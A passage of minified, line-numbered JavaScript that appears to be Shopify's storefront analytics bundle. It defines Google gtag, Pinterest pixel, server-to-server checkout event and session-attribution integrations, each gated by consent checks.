u.default.isEnabled(u.TREKKIE_GOOGLE_CONSENT_MODE) && window.gtag("consent", "update", { 1428 ad_storage: d.marketingAllowed() ? "granted" : "denied", 1429 ad_user_data: d.marketingAllowed() ? "granted" : "denied", 1430 ad_personalization: d.marketingAllowed() ? "granted" : "denied", 1431 analytics_storage: d.analyticsProcessingAllowed() ? "granted" : "denied" 1432 }), e.prototype.onConsentCollected.call(this, t) 1433 }, t.prototype.hasConsent = function(e) { 1434 return d.analyticsProcessingAllowed(e) || d.marketingAllowed(e) 1435 }, t.prototype.identify = function(e) { 1436 throw new Error("identify is not supported") 1437 }, t.prototype.track = function(e) {}, t.prototype.setPixelStub = function() { 1438 (!window.dataLayer || window.dataLayer && !Array.isArray(window.dataLayer)) && (window.dataLayer = []), (!window.gtag || window.gtag && "function" != typeof window.gtag) && (window.gtag = function() { 1439 window.dataLayer.push(arguments) 1440 }) 1441 }, t.prototype.loadGtagScript = function() { 1442 var e = this.options; 1443 window.gtag("js", new Date), a.script({ 1444 src: "https://www.googletagmanager.com/gtag/js?i
1444d=" + e.conversionId 1445 }) 1446 }, t.prototype.page = function(e) { 1447 var t = "page_view", 1448 n = { 1449 send_to: this.gtagEventLabelFor(t), 1450 page_path: e.path || "", 1451 page_title: e.name || e.title, 1452 page_location: e.url 1453 }; 1454 this.options.ignoreReferrer && (n.ignore_referrer = "true"), window.gtag("event", t, n), this.addMonorailBatchEvent({ 1455 eventName: i.ANALYTICS_PAGE_VIEW, 1456 eventProperties: JSON.stringify(n) 1457 }) 1458 }, t.prototype.viewedProduct = function(e) { 1459 var t = "view_item", 1460 n = e.properties, 1461 o = { 1462 send_to: this.gtagEventLabelFor(t), 1463 ecomm_prodid: [this.computeEcommProductId(n)], 1464 ecomm_totalvalue: n.price * n.quantity, 1465 ecomm_pagetype: "product", 1466 items: [{ 1467 id: this.computeEcommProductId(n), 1468 name: n.name, 1469 brand: n.brand, 1470 category: n.category, 1471 coupon: n.coupon, 1472 price: n.price.toString(), 1473 quantity: n.quantity, 1474 variant: n.variant 1475 }] 1476 }; 1477 window.gtag("event", t, o), this.addMonorailBatchEvent({ 1478 eventName: i.ANALYTICS_VIEWED_PRODUCT, 1479 eventProperties: JSON.stringify(o) 1480 }) 1481 }, t.prototype.addedProduct = function(e) { 1482 var t = "add_to_cart", 1483 n = e.properties, 1484 o = { 1485 send_to: this.gtagEventLabelFor(t), 1486 ecomm_prodid: [this.computeEcommProductId(n)], 1487 ecomm_totalvalue: n.price * n.quantity, 1488 ecomm_pagetype: "cart", 1489 value: n.price * n.quantity, 1490 currency: n.currency || "USD", 1491 items: [{ 1492 id: this.computeEcommProductId(n), 1493 name: n.name, 1494 brand: n.brand, 1495 category: n.category, 1496 coupon: n.coupon, 1497 price: n.price.toString(), 1498 quantity: n.quantity, 1499 variant: n.variant 1500 }] 1501 }; 1502 window.gtag("event", t, o), this.addMonorailBatchEvent({ 1503 eventName: i.ANALYTICS_ADDED_PRODUCT, 1504 eventProperties: JSON.stringify(o) 1505 }) 1506 }, t.prototype.completedOrder = function(e) { 1507 var t = this, 1508 n = "purchase", 1509 o = e.properties, 1510 r = { 1511 send_to: this.gtagEventLabelFor(n), 1512 transaction_id: this.getTransactionId(o), 1513 value: o.revenue, 1514 currency: o.currency || "USD", 1515 tax: o.tax.toString(), 1516 shipping: o.shipping.toString(), 1517 items: o.products.map((function(e) { 1518 return { 1519 id: t.computeEcommProductId(e), 1520 name: e.name, 1521 brand: e.brand, 1522 category: e.category, 1523 coupon: e.coupon, 1524 price: e.price.toString(), 1525 quantity: e.quantity, 1526 variant: e.variant 1527 } 1528 })) 1529 }; 1530 this.options.ignoreReferrer && (r.ignore_referrer = "true"), window.gtag("event", n, r), this.addMonorailBatchEvent({ 1531 eventName: i.ANALYTICS_COMPLETED_ORDER, 1532 eventProperties: JSON.stringify(r) 1533 }) 1534 }, t.prototype.startedOrder = function(e) { 1535 var t = this, 1536 n = "begin_checkout", 1537 o = e.properties, 1538 r = { 1539 send_to: this.gtagEventLabelFor(n), 1540 ecomm_prodid: o.products.map((function(e) { 1541 return t.computeEcommProductId(e) 1542 })), 1543 ecomm_totalvalue: this.cartTotalValue(o.products), 1544 ecomm_pagetype: "cart", 1545 value: o.revenue, 1546 currency: o.currency || "USD", 1547 items: o.products.map((function(e) { 1548 return { 1549 id: t.computeEcommProductId(e), 1550 name: e.name, 1551 brand: e.brand, 1552 category: e.category, 1553 coupon: e.coupon, 1554 price: e.price.toString(), 1555 quantity: e.quantity, 1556 variant: e.variant 1557 } 1558 })), 1559 coupon: o.coupon 1560 }; 1561 this.options.ignoreReferrer && (r.ignore_referrer = "true"), window.gtag("event", n, r), this.addMonorailBatchEvent({ 1562 eventName: i.ANALYTICS_STARTED_ORDER, 1563 eventProperties: JSON.stringify(r) 1564 }) 1565 }, t.prototype.performedSearch = function(e) { 1566 var t = "search", 1567 n = e.properties, 1568 o = { 1569 send_to: this.gtagEventLabelFor(t), 1570 search_term: n.query 1571 }; 1572 window.gtag("event", t, o), this.addMonorailBatchEvent({ 1573 eventName: i.ANALYTICS_PERFORMED_SEARCH, 1574 eventProperties: JSON.stringify(o) 1575 }) 1576 }, t.prototype.addedPayment = function(e) { 1577 var t = "add_payment_info", 1578 n = e.properties, 1579 o = { 1580 send_to: this.gtagEventLabelFor(t), 1581 currency: n.currency, 1582 total: n.total 1583 }; 1584 this.options.ignoreReferrer && (o.ignore_referrer = "true"), window.gtag("event", t, o), this.addMonorailBatchEvent({ 1585 eventName: i.ANALYTICS_ADDED_PAYMENT, 1586 eventProperties: JSON.stringify(o) 1587 }) 1588 }, t.prototype.computeEcommProductId = function(e) { 1589 return "shopify_" + this.targetCountry() + "_" + e.productId + "_" + e.variantId 1590 }, t.prototype.cartTotalValue = function(e) { 1591 for (var t = 0, n = 0, o = e; n < o.length; n++) { 1592 var r = o[n]; 1593 t += r.price * r.quantity 1594 } 1595 return t 1596 }, t.prototype.targetCountry = function() { 1597 return this.options.targetCountry || "US" 1598 }, t.prototype.gtagEventLabelFor = function(e) { 1599 for (var t = 0, n = this.options.eventLabels; t < n.length; t++) { 1600 var o = n[t]; 1601 if (o.type === e) return o.action_label 1602 } 1603 }, t.prototype.getEcommerceMetricsTag = function() { 1604 return "google_gtag" 1605 }, t.prototype.getEcommercePixelIds = function() { 1606 return [this.options.conversionId] 1607 }, t.prototype.getIntegrationId = function() { 1608 return "GoogleGtag" 1609 }, t.prototype.getTransactionId = function(e) { 1610 return e.orderId || e.checkoutId 1611 }, t 1612 }(i.EcommerceIntegration); 1613 t.GoogleGtag = p 1614 }, 1615 8142: function(e, t, n) { 1616 "use strict"; 1617 var o, r = this && this.__extends || (o = function(e, t) { 1618 return o = Object.setPrototypeOf || { 1619 __proto__: [] 1620 } 1621 instanceof Array && function(e, t) { 1622 e.__proto__ = t 1623 } || function(e, t) { 1624 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 1625 }, o(e, t) 1626 }, function(e, t) { 1627 function n() { 1628 this.constructor = e 1629 } 1630 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 1631 }), 1632 i = this && this.__assign || function() { 1633 return i = Object.assign || function(e) { 1634 for (var t, n = 1, o = arguments.length; n < o; n++) 1635 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 1636 return e 1637 }, i.apply(this, arguments) 1638 }; 1639 Object.defineProperty(t, "__esModule", { 1640 value: !0 1641 }), t.Pinterest = void 0; 1642 var a = n(7385), 1643 s = n(1102), 1644 c = n(542), 1645 u = n(7662), 1646 d = function(e) { 1647 function t(n, o, r) { 1648 return e.call(this, t.defaultOptions, o, r) || this 1649 } 1650 return r(t, e), t.prototype.initialize = function() { 1651 var t = this.options; 1652 this.setPixelStub(), this.loadPinterestScript(), window.pintrk("load", t.pixelId, { 1653 np: "shopify" 1654 }), window.pintrk("page"), e.prototype.initialize.call(this) 1655 }, t.prototype.hasConsent = function(e) { 1656 return u.marketingAllowed(e) && u.saleOfDataAllowed(e) 1657 }, t.prototype.identify = function(e) {}, t.prototype.track = function(e) {}, t.prototype.page = function(e) { 1658 var t = e.properties; 1659 t && "product" === t.pageType || this.emitEvent("PageVisit", e.eventId, a.ANALYTICS_PAGE_VIEW) 1660 }, t.prototype.name = function() { 1661 return "Pinterest Pixel" 1662 }, t.prototype.type = function() { 1663 return c.IntegrationTypes.ECOMMERCE 1664 }, t.prototype.viewedProduct = function(e) { 1665 var t = e.properties, 1666 n = { 1667 currency: t.currency, 1668 line_items: [{ 1669 product_id: t.productId, 1670 product_variant_id: t.variantId, 1671 product_name: t.name, 1672 product_price: t.price, 1673 product_quantity: t.quantity 1674 }] 1675 }; 1676 this.emitEvent("PageVisit", e.eventId, a.ANALYTICS_VIEWED_PRODUCT, n) 1677 }, t.prototype.viewedProductCategory = function(e) { 1678 this.emitEvent("ViewCategory", e.eventId, a.ANALYTICS_VIEWED_PRODUCT_CATEGORY) 1679 }, t.prototype.addedProduct = function(e) { 1680 var t = e.properties, 1681 n = { 1682 currency: t.currency, 1683 line_items: [{ 1684 product_id: t.productId, 1685 product_variant_id: t.variantId, 1686 product_name: t.name, 1687 product_price: t.price, 1688 product_quantity: Number(e.properties.quantity) 1689 }] 1690 }; 1691 this.emitEvent("AddToCart", e.eventId, a.ANALYTICS_ADDED_PRODUCT, n) 1692 }, t.prototype.completedOrder = function(e) { 1693 var t = e.properties, 1694 n = { 1695 value: t.revenue, 1696 currency: t.currency, 1697 order_quantity: this.getOrderNumItems(t), 1698 line_items: t.products.map((function(e, t) { 1699 return { 1700 product_id: e.productId, 1701 product_variant_id: e.variantId, 1702 product_name: e.name, 1703 product_price: e.price, 1704 product_quantity: e.quantity 1705 } 1706 })) 1707 }; 1708 this.emitEvent("Checkout", e.eventId, a.ANALYTICS_COMPLETED_ORDER, n) 1709 }, t.prototype.performedSearch = function(e) { 1710 var t = { 1711 search_query: e.properties.query 1712 }; 1713 this.emitEvent("Search", e.eventId, a.ANALYTICS_PERFORMED_SEARCH, t) 1714 }, t.prototype.emitEvent = function(e, t, n, o) { 1715 window.pintrk("track", e, i(i({ 1716 np: "shopify" 1717
1717 }, { 1718 eventID: t 1719 }), o)), this.addMonorailBatchEvent(s.objectAssignFilterUndefined({ 1720 eventName: n 1721 }, { 1722 eventId: t, 1723 eventProperties: o ? JSON.stringify(o) : void 0 1724 })) 1725 }, t.prototype.getOrderNumItems = function(e) { 1726 for (var t = 0, n = 0, o = e.products || []; n < o.length; n++) { 1727 var r = o[n]; 1728 this.getProductKey(r) && (t += r.quantity || 1) 1729 } 1730 return t 1731 }, t.prototype.getProductKey = function(e) { 1732 return e.productId || e.variantId || e.sku 1733 }, t.prototype.setPixelStub = function() { 1734 window.pintrk && "function" == typeof window.pintrk || (window.pintrk = function() { 1735 window.pintrk.queue.push(Array.prototype.slice.call(arguments)) 1736 }, window.pintrk.queue = [], window.pintrk.version = "3.0") 1737 }, t.prototype.loadPinterestScript = function() { 1738 var e = document.createElement("script"); 1739 e.async = !0, e.src = "https://s.pinimg.com/ct/core.js"; 1740 var t = document.getElementsByTagName("script")[0]; 1741 void 0 === t ? document.head.appendChild(e) : t.parentNode.insertBefore(e, t) 1742 }, t.prototype.getEcommerceMetricsTag = function() { 1743 return "pinterest" 1744 }, t.prototype.getIntegrationId = function() { 1745 return "Pinterest" 1746 }, t.prototype.getEcommercePixelIds = function() { 1747 return [this.options.pixelId] 1748 }, t.defaultOptions = { 1749 pixelId: "" 1750 }, t 1751 }(a.EcommerceIntegration); 1752 t.Pinterest = d 1753 }, 1754 3653: function(e, t, n) { 1755 "use strict"; 1756 var o, r = this && this.__extends || (o = function(e, t) { 1757 return o = Object.setPrototypeOf || { 1758 __proto__: [] 1759 } 1760 instanceof Array && function(e, t) { 1761 e.__proto__ = t 1762 } || function(e, t) { 1763 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 1764 }, o(e, t) 1765 }, function(e, t) { 1766 function n() { 1767 this.constructor = e 1768 } 1769 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 1770 }), 1771 i = this && this.__assign || function() { 1772 return i = Object.assign || function(e) { 1773 for (var t, n = 1, o = arguments.length; n < o; n++) 1774 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 1775 return e 1776 }, i.apply(this, arguments) 1777 }; 1778 Object.defineProperty(t, "__esModule", { 1779 value: !0 1780 }), t.S2S = t.SHOP_ANALYTICS_TOKEN_NAME = t.HEADLESS_API_CLIENT_ID = t.HYDROGEN_API_CLIENT_ID = t.CHECKOUT_SHIPPING_INFO_SUBMITTED_EVENT_NAME = t.CHECKOUT_ADDRESS_INFO_SUBMITTED_EVENT_NAME = t.CHECKOUT_CONTACT_INFO_SUBMITTED_EVENT_NAME = t.COLLECTION_PAGE_RENDERED_EVENT_NAME = t.CHECKOUT_STARTED_ONCE_PER_CHECKOUT_EVENT_NAME = t.CHECKOUT_COMPLETED_EVENT_NAME = t.CHECKOUT_STARTED_EVENT_NAME = t.SEARCH_SUBMITTED_EVENT_NAME = t.PAYMENT_INFO_SUBMITTED_EVENT_NAME = t.PRODUCT_ADDED_TO_CART_EVENT_NAME = t.PRODUCT_PAGE_RENDERED_EVENT_NAME = t.PAGE_RENDERED_EVENT_NAME = void 0; 1781 var a = n(7385), 1782 s = n(6997), 1783 c = n(7662), 1784 u = n(725), 1785 d = n(997), 1786 p = n(1930), 1787 l = n(1102), 1788 f = n(542), 1789 g = n(6851), 1790 _ = n(9124), 1791 h = n(7662); 1792 t.PAGE_RENDERED_EVENT_NAME = "page_rendered", t.PRODUCT_PAGE_RENDERED_EVENT_NAME = "product_page_rendered", t.PRODUCT_ADDED_TO_CART_EVENT_NAME = "product_added_to_cart", t.PAYMENT_INFO_SUBMITTED_EVENT_NAME = "payment_info_submitted", t.SEARCH_SUBMITTED_EVENT_NAME = "search_submitted", t.CHECKOUT_STARTED_EVENT_NAME = "checkout_started", t.CHECKOUT_COMPLETED_EVENT_NAME = "checkout_completed", t.CHECKOUT_STARTED_ONCE_PER_CHECKOUT_EVENT_NAME = "checkout_started_once_per_checkout", t.COLLECTION_PAGE_RENDERED_EVENT_NAME = "collection_page_rendered", t.CHECKOUT_CONTACT_INFO_SUBMITTED_EVENT_NAME = "checkout_contact_info_submitted", t.CHECKOUT_ADDRESS_INFO_SUBMITTED_EVENT_NAME = "checkout_address_info_submitted", t.CHECKOUT_SHIPPING_INFO_SUBMITTED_EVENT_NAME = "checkout_shipping_info_submitted", t.HYDROGEN_API_CLIENT_ID = 6167201, t.HEADLESS_API_CLIENT_ID = 12875497473, t.SHOP_ANALYTICS_TOKEN_NAME
1792= "shop_analytics"; 1793 var v = function(e) { 1794 function n(t, o, r) { 1795 var a = e.call(this, n.defaultOptions, i({}, o), r) || this; 1796 return a.pageID = g.default.microSessionId, a 1797 } 1798 return r(n, e), n.prototype.name = function() { 1799 return "S2S" 1800 }, n.prototype.type = function() { 1801 return f.IntegrationTypes.ECOMMERCE 1802 }, n.prototype.hasConsent = function(e) { 1803 return h.analyticsProcessingAllowed(e) && h.marketingAllowed(e) 1804 }, n.prototype.identify = function(e) { 1805 throw new Error("identify is not supported") 1806 }, n.prototype.page = function(e) { 1807 var n = { 1808 event_id: e.eventId, 1809 referrer: e.referrer, 1810 canonical_url: l.canonical() 1811 }; 1812 this.produceToMonorail({ 1813 eventName: t.PAGE_RENDERED_EVENT_NAME, 1814 eventObject: e, 1815 eventPayload: n 1816 }) 1817 }, n.prototype.track = function(e) {}, n.prototype.viewedProduct = function(e) { 1818 var n = i(i({}, e.properties), { 1819 quantity: 1 1820 }), 1821 o = { 1822 event_id: e.eventId, 1823 products: this.formatProductJSON([n]), 1824 total_value: this.formatRevenue(n.price), 1825 currency: this.getCurrency(n.currency) 1826 }; 1827 this.produceToMonorail({ 1828 eventName: t.PRODUCT_PAGE_RENDERED_EVENT_NAME, 1829 eventObject: e, 1830 eventPayload: o 1831 }) 1832 }, n.prototype.addedProduct = function(e) { 1833 var n = e.properties, 1834 o = { 1835 event_id: e.eventId, 1836 products: this.formatProductJSON([n]), 1837 total_value: this.formatRevenue(n.price), 1838 currency: this.getCurrency(n.currency), 1839 cart_token: n.cartToken 1840 }; 1841 this.produceToMonorail({ 1842 eventName: t.PRODUCT_ADDED_TO_CART_EVENT_NAME, 1843 eventObject: e, 1844 eventPayload: o 1845 }) 1846 }, n.prototype.addedPayment = function(e) { 1847 var n = e.properties, 1848 o = { 1849 event_id: e.eventId, 1850 total_value: this.formatRevenue(n.total), 1851 currency: this.getCurrency(n.currency) 1852 }; 1853 this.produceToMonorail({ 1854 eventName: t.PAYMENT_INFO_SUBMITTED_EVENT_NAME, 1855 eventObject: e, 1856 eventPayload: o 1857 }) 1858 }, n.prototype.checkoutContactInfoSubmitted = function(e) { 1859 var n = e.properties, 1860 o = { 1861 event_id: e.eventId, 1862 email: n.email, 1863 phone: n.phone 1864 }; 1865 this.produceToMonorail({ 1866 eventName: t.CHECKOUT_CONTACT_INFO_SUBMITTED_EVENT_NAME, 1867 eventObject: e, 1868 eventPayload: o 1869 }) 1870 }, n.prototype.checkoutAddressInfoSubmitted = function(e) { 1871 var n = e.properties, 1872 o = { 1873 event_id: e.eventId, 1874 billing_address_city: n.city, 1875 billing_address_country: n.country, 1876 phone: n.phone,
1877 billing_address_region: n.province 1878 }; 1879 this.produceToMonorail({ 1880 eventName: t.CHECKOUT_ADDRESS_INFO_SUBMITTED_EVENT_NAME, 1881 eventObject: e, 1882 eventPayload: o 1883 }) 1884 }, n.prototype.checkoutShippingInfoSubmitted = function(e) { 1885 var n = e.properties, 1886 o = { 1887 event_id: e.eventId, 1888 total_value: n.total, 1889 currency: n.currency 1890 }; 1891 this.produceToMonorail({ 1892 eventName: t.CHECKOUT_SHIPPING_INFO_SUBMITTED_EVENT_NAME, 1893 eventObject: e, 1894 eventPayload: o 1895 }) 1896 }, n.prototype.performedSearch = function(e) { 1897 var n = e.properties, 1898 o = { 1899 event_id: e.eventId, 1900 search_string: this.getSearchString(n.query) 1901 }; 1902 this.produceToMonorail({ 1903 eventName: t.SEARCH_SUBMITTED_EVENT_NAME, 1904 eventObject: e, 1905 eventPayload: o 1906 }) 1907 }, n.prototype.startedOrder = function(e) { 1908 var n = e.properties, 1909 o = { 1910 event_id: e.eventId, 1911 products: this.formatProductJSON(n.products), 1912 total_value: this.formatRevenue(n.total), 1913 currency: this.getCurrency(n.currency) 1914 }; 1915 this.produceToMonorail({ 1916 eventName: t.CHECKOUT_STARTED_EVENT_NAME, 1917 eventObject: e, 1918 eventPayload: o 1919 }) 1920 }, n.prototype.startedOrderOncePerCheckout = function(e) { 1921 var n = e.properties, 1922 o = { 1923 event_id: e.eventId, 1924 products: this.formatProductJSON(n.products), 1925 total_value: this.formatRevenue(n.total), 1926 currency: this.getCurrency(n.currency) 1927 }; 1928 this.produceToMonorail({ 1929 eventName: t.CHECKOUT_STARTED_ONCE_PER_CHECKOUT_EVENT_NAME, 1930 eventObject: e, 1931 eventPayload: o, 1932 eventSchemaId: p.storefrontAnalyticsSchemaIdValidation 1933 }) 1934 }, n.prototype.completedOrder = function(e) { 1935 var n, o = e.properties, 1936 r = { 1937 event_id: e.eventId, 1938 first_name: o.customerEventData.customer.firstName, 1939 last_name: o.customerEventData.customer.lastName, 1940 email: o.customerEventData.customer.emailAddress, 1941 phone: o.customerEventData.customer.phoneNumber, 1942 products: this.formatProductJSON(o.products), 1943 total_value: this.formatRevenue(o.total), 1944 currency: this.getCurrency(o.currency), 1945 billing_address_city: o.customerEventData.address.city, 1946 billing_address_region: o.customerEventData.address.province, 1947 billing_address_country: o.customerEventData.address.country, 1948 billing_address_zipcode: o.customerEventData.address.zip 1949 }; 1950 o.orderId && (r.order_id = o.orderId.toString()), (null === (n = e.s2sMetadata) || void 0 === n ? void 0 : n.serverEventId) && (r.server_event_id = e.s2sMetadata.serverEventId), this.produceToMonorail({ 1951 eventName: t.CHECKOUT_COMPLETED_EVENT_NAME, 1952 eventObject: e, 1953 eventPayload: r 1954 }) 1955 }, n.prototype.viewedProductCategory = function(e) { 1956 var n = e.properties, 1957 o = { 1958 event_id: e.eventId, 1959 collection_id: n.collectionId, 1960 collection_name: n.collectionName, 1961 currency: n.currency 1962 }; 1963 this.produceToMonorail({ 1964 eventName: t.COLLECTION_PAGE_RENDERED_EVENT_NAME, 1965 eventObject: e, 1966 eventPayload: o 1967 }) 1968 }, n.prototype.formatProductJSON = function(e) { 1969 var t = this, 1970 n = []; 1971 return e.forEach((function(e) { 1972 n.push(JSON.stringify({ 1973 variant_id: t.formatNumericID(e.variantId), 1974 product_id: t.formatNumericID(e.productId), 1975 product_gid: e.productGid, 1976 name: e.name, 1977 price: t.formatRevenue(e.price), 1978 sku: e.sku, 1979 brand: e.brand, 1980 variant: e.variant, 1981 category: e.category, 1982 quantity: Number(e.quantity || 0) 1983 })) 1984 })), n 1985 }, n.prototype.produceToMonorail = function(e) { 1986 var t = e.eventName, 1987 n = e.eventObject, 1988 o = e.eventPayload, 1989 r = e.eventSchemaId,
1990 i = this.isCustomStorefront(t), 1991 a = i ? p.customStorefrontAnalyticsSchemaId : p.storefrontAnalyticsSchemaId, 1992 s = { 1993 schemaId: r || a, 1994 payload: this.eventWithMetadata(t, i ? this.payloadWithCustomStorefrontMetadata(o) : o, n.s2sMetadata) 1995 }; 1996 d.produce([s]) 1997 }, n.prototype.eventWithMetadata = function(e, t, n) { 1998 var o; 1999 return i(i({}, t), { 2000 event_name: e, 2001 shop_id: g.default.shopId, 2002 facebook_pixel_id: this.getFacebookPixelId(), 2003 facebook_capi_enabled: this.isCapiEnabled(), 2004 event_time: (new Date).getTime(), 2005 event_source_url: u.href(), 2006 unique_token: g.default.uniqToken, 2007 page_id: this.pageID, 2008 source: this.getSource(), 2009 ccpa_enforced: c.saleOfDataNotAllowed(), 2010 gdpr_enforced: c.notMarketingOrAnalyticsAllowed(), 2011 gdpr_enforced_as_string: c.notMarketingOrAnalyticsAllowed().toString(), 2012 navigation_type: null == n ? void 0 : n.navigationType, 2013 navigation_api: null == n ? void 0 : n.navigationApi, 2014 user_agent: null === (o = null === window || void 0 === window ? void 0 : window.navigator) || void 0 === o ? void 0 : o.userAgent, 2015 is_persistent_cookie: s.isPersistentCookie(), 2016 customer_id: this.getCustomerId(), 2017 checkout_token: g.default.checkoutToken, 2018 deprecated_visit_token: g.default.visitToken, 2019 session_id: _.getSessionId(), 2020 asset_version_id: "81e7c2f873195e45afafd9b60802a3260bdef5d8", 2021 shop_analytics_token: this.getShopAnalyticsToken() 2022 }) 2023 }, n.prototype.payloadWithCustomStorefrontMetadata = function(e) { 2024 var t, n = this.options; 2025 return i(i({}, e), { 2026 hydrogenSubchannelId: String(null !== (t = n.cartSubchannelId) && void 0 !== t ? t : ""), 2027 api_client_id: n.cartApiClientId 2028 }) 2029 }, n.prototype.getFacebookPixelId = function() { 2030 return this.options.facebookAppPixelId 2031 }, n.prototype.isCapiEnabled = function() { 2032 return this.options.facebookCapiEnabled 2033 }, n.prototype.getSource = function() { 2034 return this.options.source 2035 }, n.prototype.getCustomerId = function() { 2036 return this.options.customerId 2037 }, n.prototype.getSearchString = function(e) { 2038 return e || "" 2039 }, n.prototype.formatRevenue = function(e) { 2040 return Number(e || 0) 2041 }, n.prototype.formatNumericID = function(e) { 2042 return null == e || "" === e ? null : Number(e) 2043 }, n.prototype.getCurrency = function(e) { 2044 return e || "USD" 2045 }, n.prototype.getIntegrationId = function() { 2046 return "S2S" 2047 }, n.prototype.getEcommerceMetricsTag = function() { 2048 return "S2S" 2049 }, n.prototype.getEcommercePixelIds = function() { 2050 var e = this.getFacebookPixelId(); 2051 return e ? [e] : [] 2052 }, n.prototype.setPixelStub = function() {}, n.prototype.isCustomStorefront = function(e) { 2053 var n = this.options, 2054 o = [t.PAGE_RENDERED_EVENT_NAME, t.PAYMENT_INFO_SUBMITTED_EVENT_NAME, t.CHECKOUT_CONTACT_INFO_SUBMITTED_EVENT_NAME, t.CHECKOUT_ADDRESS_INFO_SUBMITTED_EVENT_NAME, t.CHECKOUT_SHIPPING_INFO_SUBMITTED_EVENT_NAME, t.CHECKOUT_STARTED_EVENT_NAME, t.CHECKOUT_STARTED_ONCE_PER_CHECKOUT_EVENT_NAME, t.CHECKOUT_COMPLETED_EVENT_NAME], 2055 r = [t.HYDROGEN_API_CLIENT_ID, t.HEADLESS_API_CLIENT_ID]; 2056 return o.includes(e) && r.includes(n.cartApiClientId) 2057 }, n.prototype.getShopAnalyticsToken = function() { 2058 return s.read(t.SHOP_ANALYTICS_TOKEN_NAME) 2059 }, n.defaultOptions = { 2060 facebookAppPixelId: "", 2061 facebookCapiEnabled: !1, 2062 agent: "shopify", 2063 source: "trekkie-unknown" 2064 }, n 2065 }(a.EcommerceIntegration); 2066 t.S2S = v 2067 }, 2068 2724: function(e, t, n) { 2069 "use strict"; 2070 var o, r = this && this.__extends || (o = function(e, t) { 2071 return o = Object.setPrototypeOf || { 2072 __proto__: [] 2073 } 2074 instanceof Array && function(e, t) { 2075 e.__proto__ = t 2076 } || function(e, t) { 2077 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 2078 }, o(e, t) 2079 }, function(e, t) { 2080 function n() { 2081 this.constructor = e 2082 } 2083 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 2084 }); 2085 Object.defineProperty(t, "__esModule", { 2086 value: !0 2087 }), t.CampaignManager = t.TimestampManager = t.SessionAttribution = t.orderCompletionEventKey = t.sessionAttributionTimestampKey = t.sessionAttributionParamsKey = void 0; 2088 var i = n(6997), 2089 a = n(372), 2090 s = n(725), 2091 c = n(542), 2092 u = n(7385), 2093 d = n(7662); 2094 t.sessionAttributionParamsKey = "_shopify_sa_p", t.sessionAttributionTimestampKey = "_shopify_sa_t", t.orderCompletionEventKey = "Completed Order"; 2095 var p = function(e) { 2096 function n(t, n, o) { 2097 return e.call(this, t, n, o) || this 2098 } 2099 return r(n, e), n.prototype.initialize = function() { 2100 this.timestampManager = new l, this.campaignManager = new f, e.prototype.initialize.call(this) 2101 }, n.prototype.name = function() { 2102 return "Session Attribution" 2103 }, n.prototype.type = function() { 2104 return c.IntegrationTypes.INTEGRATION 2105 }, n.prototype.hasConsent = function(e) { 2106 return d.analyticsProcessingAllowed(e) 2107 }, n.prototype.identify = function(e) {}, n.prototype.page = function(e) { 2108 this.attributeSession() 2109 }, n.prototype.track = function(e) {
2110 if (u.analyticsEvents.checkoutOnePageView.test(e.event)) { 2111 var n = e.properties; 2112 this.page(n.page) 2113 } else e.event === t.orderCompletionEventKey && (i.clear(t.sessionAttributionTimestampKey), i.clear(t.sessionAttributionParamsKey)) 2114 }, n.prototype.attributeSession = function() { 2115 var e = new Date, 2116 t = s.search(), 2117 n = this.campaignManager.constructCanonicalUtmString(t); 2118 this.timestampManager.extend(e.toJSON()), this.campaignManager.extend(n) 2119 }, n 2120 }(a.Integration); 2121 t.SessionAttribution = p; 2122 var l = function() { 2123 function e() {} 2124 return e.prototype.fetch = function() { 2125 return i.read(t.sessionAttributionTimestampKey) 2126 }, e.prototype.extend = function(e) { 2127 i.cleanupMyShopifyDotComCookie(t.sessionAttributionTimestampKey), i.write(t.sessionAttributionTimestampKey, e, !1) 2128 }, e.prototype.isValid = function(e) { 2129 return this.isWithin30MinuteCutOff(e) && this.isSameDayAs(e) 2130 }, e.prototype.isWithin30MinuteCutOff = function(e) { 2131 return this.testStoredTimestamp((function(e, t) { 2132 return t.getTime() - e.getTime() <= 18e5 2133 }), e) 2134 }, e.prototype.isSameDayAs = function(e) { 2135 return this.testStoredTimestamp((function(e, t) { 2136 return e.getUTCDate() === t.getUTCDate() 2137 }), e) 2138 }, e.prototype.testStoredTimestamp = function(e, t) { 2139 var n = this.fetch(); 2140 if (!n) return !1; 2141 try { 2142 return e(new Date(n), t) 2143 } catch (e) { 2144 return !1 2145 } 2146 }, e 2147 }(); 2148 t.TimestampManager = l; 2149 var f = function() { 2150 function e() {} 2151 return e.prototype.fetch = function() { 2152 return i.read(t.sessionAttributionParamsKey) 2153 }, e.prototype.extend = function(e) { 2154 "" === e && (e = this.fetch() || ""), i.cleanupMyShopifyDotComCookie(t.sessionAttributionParamsKey), i.write(t.sessionAttributionParamsKey, e, !1) 2155 }, e.prototype.isValid = function(e) { 2156 return "" === e || this.fetch() === e 2157 }, e.prototype.constructCanonicalUtmString = function(t) { 2158 if ("" === t || null == t || "?" === t) return ""; 2159 t = "?" === t[0] ? t.slice(1) : t; 2160 for (var n = {}, o = 0, r = t.split("&"); o < r.length; o++) { 2161 var i = r[o].split("="); 2162 if (!(i.length < 2)) { 2163 var a = this.decodeReplacingPlus(i[0]), 2164 s = this.decodeReplacingPlus(i[1]); 2165 s && a && (n[a] = s) 2166 } 2167 } 2168 return e.acceptedQueryStringParams.filter((function(e) { 2169 return n[e] 2170 })).map((function(e) { 2171 return encodeURIComponent(e) + "=" + encodeURIComponent(n[e]) 2172 })).join("&") 2173 }, e.prototype.decodeReplacingPlus = function(e) { 2174 return decodeURIComponent(e.replace(/\+/g, " ")) 2175 }, e.acceptedQueryStringParams = ["utm_source", "utm_medium", "utm_campaign", "utm_term", "utm_content", "ref", "gclid", "fbclid", "shpxid"], e 2176 }(); 2177 t.CampaignManager = f 2178 }, 2179 6971: function(e, t, n) { 2180 "use strict"; 2181 var o, r = this && this.__extends || (o = function(e, t) { 2182 return o = Object.setPrototypeOf || { 2183 __proto__: [] 2184 } 2185 instanceof Array && function(e, 